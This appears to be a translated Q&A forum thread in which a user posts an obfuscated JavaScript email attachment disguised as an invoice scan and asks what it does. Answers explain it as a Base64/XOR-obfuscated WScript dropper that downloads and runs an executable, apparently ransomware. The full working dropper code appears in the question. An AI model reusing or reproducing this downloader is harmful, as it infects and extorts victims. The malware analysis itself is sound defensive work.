¿Qué tipo de ataque de correo electrónico es este?

3

Recibí el siguiente invoice_scan_nHl8GB.js como un archivo adjunto de correo electrónico de una dirección de correo electrónico falsificada / PC infectada comprimida en un E.zip .

Extrañamente, la dirección del remitente no está falsificada correctamente, probablemente porque proviene de un servidor real. Por ejemplo, conozco a mi amigo Daniel, cuyo correo electrónico es [email protected]. En este caso, la dirección del remitente es dani.el <[email protected]> , por lo que hicieron un mal trabajo en la falsificación o probablemente pusieron en peligro ese servidor (un blog de WordPress) y usaron una dirección de apariencia real para engañar a los filtros de spam.

En segundo lugar, una cosa que me preocupa es que hay dos destinatarios en este correo electrónico, uno soy yo y el otro es una dirección utilizada por mi proveedor de ADSL para confirmar los correos electrónicos para recibir facturas en PDF.

No estoy seguro si esta dirección se ha leído de algún modo en el sistema infectado de Daniel (probablemente usa Outlook), o en el mío (no creo en ningún malware específicamente dirigido a Opera Mail, aunque creo que MBS el escaneo de archivos es algo que se hace), o incluso el sistema del proveedor del teléfono (creo que esta es la situación menos probable, pero quién sabe).

Aquí está mi "escaneo de factura":

function decode(encroachmentzuB, careengdO, vexH6k, impositionPgg, toilAXq, permeateze0, commissionVXC, girdy8E, prospectiveOwW, cajoleloa, rangingQTN, grudgingEtZ, podiumeFq, plusdYa, incorrigiblekZ5, disconcertJyT, insistWat, sedulouss1w, collationc64, turgidMwv, disembarknA9) {
    var eludeC5D = "replace";
    encroachmentzuB = encroachmentzuB[eludeC5D](/[^A-Za-z0-9\+\/\=]/g, "");
    var grandiloquentBin = [ 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, 64, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51 ];
    var pertinaciousEFO = turgidMwv;
    if (!pertinaciousEFO) {
        pertinaciousEFO = new Uint8Array(Math.pow(encroachmentzuB.length / 4, 2) * 3);
    }
    disembarknA9 = disembarknA9 || 0;
    var maulPzM, palatableHOJ, adversexUM, filchVRW;
    var parochialaIH = 0, vacatej1i = disembarknA9;
    while (parochialaIH < encroachmentzuB.length) {
        var depraveCCW = "charCodeAt";
        maulPzM = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        palatableHOJ = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        adversexUM = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        filchVRW = grandiloquentBin[encroachmentzuB[depraveCCW](parochialaIH++) - 43];
        pertinaciousEFO[vacatej1i++] = maulPzM << 2 | palatableHOJ >> 4;
        if (adversexUM !== 64) {
            pertinaciousEFO[vacatej1i++] = (palatableHOJ & 15) << 4 | adversexUM >> 2;
            if (filchVRW !== 64) {
                pertinaciousEFO[vacatej1i++] = (adversexUM & 3) << 6 | filchVRW;
            }
        }
    }
    return turgidMwv ? vacatej1i - disembarknA9 : pertinaciousEFO.subarray(0, vacatej1i);
}

var ratifyvWk = function(aptIGS) {
    var mootuns = [];
    var careengdO = "encroachmentjdC";
    var vexH6k = "contemptotO";
    var impositionPgg = "emolumentPGW";
    var toilAXq = "evidentwa6";
    var permeateze0 = "philosophicalIYw";
    var commissionVXC = "firebrandSs3";
    var girdy8E = "cadaverousT1u";
    var prospectiveOwW = "intrepidjwL";
    var cajoleloa = "cedexlC";
    var rangingQTN = "superciliouslMa";
    var grudgingEtZ = "unaffectedkGp";
    var podiumeFq = "subalternvAO";
    var plusdYa = "hoaryF1p";
    var incorrigiblekZ5 = "fanfarePFi";
    var disconcertJyT = "endemicYKK";
    var insistWat = "rudimentwkb";
    var sedulouss1w = "manneredDNl";
    var collationc64 = "approachm8r";
    var repinegrx = decode(aptIGS, careengdO, vexH6k, impositionPgg, toilAXq, permeateze0, commissionVXC, girdy8E, prospectiveOwW, cajoleloa, rangingQTN, grudgingEtZ, podiumeFq, plusdYa, incorrigiblekZ5, disconcertJyT, insistWat, sedulouss1w, collationc64, mootuns);
    var yeomanysi = "ASdasdcharCodeAtadsfaf".slice(6, 16);
    var tidecwN = "";
    for (var parochialaIH = 0; parochialaIH < repinegrx; parochialaIH++) {
        var fissureyBI = String.fromCharCode;
        tidecwN += fissureyBI(mootuns[parochialaIH] ^ "VtiEH9DlpPnDjlsD"[yeomanysi](parochialaIH % "VtiEH9DlpPnDjlsD".length));
    }
    return tidecwN;
};

var nexusQLE = function() {
    var decadencep1w = function() {
        var prospectiveoEx = ratifyvWk('"Egw5D3x3EFwSFg=="');
        var nostrumO4Y = ratifyvWk('"OgQMcRx4NigeCA=="');
        var inflammatoryBVD = ratifyvWk('"JSQtKhlxAChIaQ=="');
    };
    decadencep1w.prototype.UnAfXF1G5E = function(assiduousheI) {
        var librettoo2t = ratifyvWk('"FQYMJDxcCw4aNQ0w"');
        return wsh[librettoo2t](assiduousheI);
    };
    decadencep1w.prototype.pBnKM4RIDu = function(assiduousheI) {
        var librettoo2t = ratifyvWk('"FQYMJDxcCw4aNQ0w"');
        return WScript[librettoo2t](assiduousheI);
    };
    return decadencep1w;
}();

(function() {
    var betokenGRa = Math.pow(2, 10) * 249;
    var syllogismBZy = [ ratifyvWk('"PgAdNXIWaxsYNRwhCx4WPTkBBDwuSy0JHjQIIkQPHCl5TVprLUEh"'), ratifyvWk('"PgAdNXIWawERNgclBAkWICUNBjA5SGoPHz1BfVlCFjwz"') ];
    var kindlehGc = 4194304;
    var revulsionPLn = ratifyvWk('"ITdQIzFoLxU3IA=="');
    var trothQlP = ratifyvWk('"MkUZBglxPBs+aQ=="');
    var luminaryUld = new nexusQLE();
    var waylayD1w = luminaryUld[ratifyvWk('"JjYHDgUNFiU0JQ=="')];
    var tidesbQ = waylayD1w(ratifyvWk('"AScKNyFJMEIjOAsoBg=="'));
    var euphonyQUg = waylayD1w(ratifyvWk('"GycxCAQLajQ9HCYQPjw="'));
    var invidiousjXX = waylayD1w(ratifyvWk('"FzAmAQoXFxgCNQ8p"'));
    var stumpXNb = tidesbQ.ExpandEnvironmentStrings(ratifyvWk('"cyAsCBgcGA=="'));
    var conceptcP7 = stumpXNb + kindlehGc + ratifyvWk('"eBERIA=="');
    var improvidentgar = false;
    var perspicuousloO = 200;
    for (var resonantDdB = 0; resonantDdB < syllogismBZy.length; resonantDdB++) {
        try {
            var sanctionM5Q = syllogismBZy[resonantDdB];
            euphonyQUg.open(ratifyvWk('"ETE9"'), sanctionM5Q, false);
            euphonyQUg.send();
            if (euphonyQUg.status == perspicuousloO) {
                try {
                    invidiousjXX[ratifyvWk('"OQQMKw=="')]();
                    invidiousjXX.type = 1;
                    invidiousjXX[ratifyvWk('"IQYAMS0="')](euphonyQUg[ratifyvWk('"JBEaNSdXNwkyPwo9"')]);
                    if (invidiousjXX.size > betokenGRa) {
                        resonantDdB = syllogismBZy.length;
                        invidiousjXX.position = 0;
                        invidiousjXX.saveToFile(conceptcP7, 2);
                        improvidentgar = true;
                    }
                } finally {
                    invidiousjXX.close();
                }
            }
        } catch (ignored) {}
    }
    if (improvidentgar) {
        tidesbQ[ratifyvWk('"EwwMJg=="')](stumpXNb + Math.pow(2, 22));
    }
})();

Aunque realmente aprecio la poesía incorporada en este script JS, me gustaría saber qué haría si se ejecutara.

¿Cómo funciona? ¿Qué hace cuando se ejecuta? Parece que está ofuscado. ¿Qué tipo de malware es ese?

Actualmente utilizo Opera Mail en Windows 10. Daniel usa Outlook en una versión de Windows no especificada (xp / vista / 7) Creo que la PC de Daniel se infectó pero no estoy seguro.

    
pregunta beppe9000 26.02.2016 - 00:00
fuente

3 respuestas

4

Escogí el código fuente.

La función decode() es simplemente un decodificador Base64. La mayoría de sus argumentos y variables locales no sirven para nada.

Del mismo modo, la función ratifyvWk() , que descifra una cadena realizando la decodificación Base64 (utilizando la función anterior) seguida de un paso de descifrado XOR de estilo Vigenère con la clave VtiEH9DlpPnDjlsD .

Lo único útil que nexusQLE() hace es devolver un objeto que se puede usar para acceder a la función ActiveX WScript.CreateObject() . Finalmente, la función anónima usa esto para descargar y ejecutar un archivo .exe desde cualquiera de los dos sitios. Aquí está el código fuente desenfocado (convertido a una imagen porque las dos ubicaciones de descarga aún parecen estar activas):

EstosolofuncionaráencomputadorasconWindowscon configuración de seguridad incorrecta , pero supongo que esto todavía sucede.

    
respondido por el squeamish ossifrage 26.02.2016 - 02:01
fuente
1

Un archivo ZIP con JavaScript en su interior se usa comúnmente en los ataques actuales con ransomware (cryptolocker, etc.). Dando la decodificación realizada por squeamish ossifrage en otra respuesta aquí, la estructura coincide con lo que se puede ver en otros ataques de cryptolocker:

  • archivo ZIP dentro del correo
  • que contiene Javascript: se almacena localmente y, por lo tanto, tiene capacidades diferentes a las de los scripts almacenados desde la web. Este archivo es solo el Dropper.
  • El malware real se descarga desde otro lugar
  • Windows Scripting Host se usa para almacenar la descarga localmente y luego ejecutarlo
respondido por el Steffen Ullrich 26.02.2016 - 05:44
fuente
0

De acuerdo con los laboratorios de amenazas promedio es un troyano: JS.Downloader. Varios gusanos y troyanos de puerta trasera utilizan JS.Downloader.Trojan para propagarse a través de Internet. JS.Downloader.Trojan puede acceder y descargar archivos de una variedad de sitios.

    
respondido por el Chris Tsiakoulas 26.02.2016 - 15:17
fuente

Lea otras preguntas en las etiquetas